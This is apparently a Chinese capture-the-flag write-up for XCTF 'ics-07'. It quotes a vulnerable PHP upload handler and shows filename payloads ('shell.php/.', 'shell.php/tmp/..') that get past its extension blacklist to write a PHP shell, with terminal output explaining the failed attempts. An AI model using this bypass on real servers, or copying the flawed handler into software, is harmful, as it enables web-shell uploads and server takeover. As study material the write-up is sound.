XCTF-ics-07

文件上传部分

<?php
if ($_SESSION['admin']) {
    $con = $_POST['con'];
    $file = $_POST['file'];
    $filename = "backup/" . $file;

    if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)) {
        die("Bad file extension");
    } else {
        chdir('uploaded');
        $f = fopen($filename, 'w');
        fwrite($f, $con);
        fclose($f);
    }
}
?>

错误解法一: file=shell.php%20
不行, 因为Linux不会对文件名进行规范化

错误解法二: file=shell.php/tmp/../
不行, 原因:
php拼接变量为backup/shell.php/tmp/../
调用fopen()函数进行文件写入, 这是一个操作系统的函数, 但是:
在Linux中, 末尾使用/会被系统认为是一个目录, 目录是无法写内容的!
验证:

┌──(kali㉿Killnet)-[~/test]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Dec 29 15:50 shell.php

┌──(kali㉿Killnet)-[~/test]
└─$ ll shell.php
-rw-r--r-- 1 kali kali 0 Dec 29 15:50 shell.php

┌──(kali㉿Killnet)-[~/test]
└─$ ll shell.php/
ls: cannot access 'shell.php/': Not a directory
#这里可以非常明显的看到, 因为文件的末尾加上了一个/, 所以Linux将其作为目录看待了, 但是因为shell.php不是目录而是文件, 所以error: not a directory

正确的解法: file=shell.php/tmp/..
或者: file=shell.php/.

From LLM:在Linux的哲学里,“斜杠即目录”

posted on 2025-12-29 16:12  misaki%20mei  阅读(0)  评论(0)    收藏  举报

导航